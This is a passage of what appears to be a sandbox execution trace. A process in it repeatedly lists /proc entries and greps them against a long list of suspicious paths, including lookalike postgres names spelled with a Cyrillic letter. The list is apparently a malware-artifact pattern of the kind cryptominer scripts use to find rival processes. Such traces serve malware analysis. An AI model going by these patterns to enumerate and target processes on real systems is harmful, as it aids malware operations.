  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:871
- /bin/grep
  grep -q systemd
  2⤵
  PID:873
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:875
- /bin/grep
  grep exe
  2⤵
  PID:878
- /bin/ls
  ls -latrh /proc/160
  2⤵
  PID:877
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:880
- /bin/grep
  grep -q systemd
  2⤵
  PID:882
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:884
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:886
- /bin/grep
  grep exe
  2⤵
  PID:887
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:889
- /bin/grep
  grep -q systemd
  2⤵
  PID:891
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:893
- /bin/ls
  ls -latrh /proc/177
  2⤵
  PID:895
- /bin/grep
  grep exe
  2⤵
  PID:896
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:898
- /bin/grep
  grep -q systemd
  2⤵
  PID:900
- /bin/grep
  grep -q deleted
  2⤵
  PID:903
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:906
- /bin/grep
  grep exe
  2⤵
  PID:909
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:908
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:911
- /bin/grep
  grep -q systemd
  2⤵
  PID:914
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:917
- /bin/grep
  grep exe
  2⤵
  PID:920
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:919
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:923
- /bin/grep
  grep -q systemd
  2⤵
  PID:926
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:928
- /bin/grep
  grep exe
  2⤵
  PID:932
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:931
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:935
- /bin/grep
  grep -q systemd
  2⤵
  PID:937
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:940
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:943
- /bin/grep
  grep exe
  2⤵
  PID:944
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:947
- /bin/grep
  grep -q systemd
  2⤵
  PID:950
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:952
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:954
- /bin/grep
  grep exe
  2⤵
  PID:956
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:959
- /bin/grep
  grep -q systemd
  2⤵
  PID:961
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:963
- /bin/grep
  grep exe
  2⤵
  PID:967
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:966
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:970
- /bin/grep
  grep -q systemd
  2⤵
  PID:972
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:975
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:978
- /bin/grep
  grep exe
  2⤵
  PID:979
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:981
- /bin/grep
  grep -q systemd
  2⤵
  PID:984
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:987
- /bin/grep
  grep exe
  2⤵
  PID:990
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:989
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:994
- /bin/grep
  grep -q systemd
  2⤵
  PID:996
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:999
- /bin/grep
  grep exe
  2⤵
  PID:1003
- /bin/ls
  ls -latrh /proc/257
  2⤵
  PID:1002
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1005
- /bin/grep
  grep -q systemd
  2⤵
  PID:1008
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1011
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:1013
- /bin/grep
  grep exe
  2⤵
  PID:1014
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1017
- /bin/grep
  grep -q systemd
  2⤵
  PID:1020
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1022
- /bin/ls
  ls -latrh /proc/341
  2⤵
  PID:1025
- /bin/grep
  grep exe
  2⤵
  PID:1026
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1031
- /bin/grep
  grep -q systemd
  2⤵
  PID:1033
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1035
- /bin/ls
  ls -latrh /proc/344
  2⤵
  PID:1039
- /bin/grep
  grep exe
  2⤵
  PID:1040
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1044
- /bin/grep
  grep -q systemd
  2⤵
  PID:1048
- /bin/grep
  grep -q deleted
  2⤵
  PID:1050
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1052
- /bin/grep
  grep exe
  2⤵
  PID:1057
- /bin/ls
  ls -latrh /proc/347
  2⤵
  PID:1056
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1059
- /bin/grep
  grep -q systemd
  2⤵
  PID:1062
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1065
- /bin/grep
  grep exe
  2⤵
  PID:1069
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:1068
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1072
- /bin/grep
  grep -q systemd
  2⤵
  PID:1074
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1076
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:1078
- /bin/grep
  grep exe
  2⤵
  PID:1079
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1082
- /bin/grep
  grep -q systemd
  2⤵
  PID:1084
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1086
- /bin/ls
  ls -latrh /proc/375
  2⤵
  PID:1088
- /bin/grep
  grep exe
  2⤵
  PID:1089
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1091
- /bin/grep
  grep -q systemd
  2⤵
  PID:1093
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1095
- /bin/ls
  ls -latrh /proc/377
  2⤵
  PID:1097
- /bin/grep
  grep exe
  2⤵
  PID:1098
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1100
- /bin/grep
  grep -q systemd
  2⤵
  PID:1102
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1104
- /bin/grep
  grep exe
  2⤵
  PID:1107
- /bin/ls
  ls -latrh /proc/393
  2⤵
  PID:1106
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1109
- /bin/grep
  grep -q systemd
  2⤵
  PID:1111
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1113
- /bin/grep
  grep exe
  2⤵
  PID:1116
- /bin/ls
  ls -latrh /proc/394
  2⤵
  PID:1115
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1118
- /bin/grep
  grep -q systemd
  2⤵
  PID:1120
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1122
- /bin/ls
  ls -latrh /proc/397
  2⤵
  PID:1124
- /bin/grep
  grep exe
  2⤵
  PID:1125
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1127
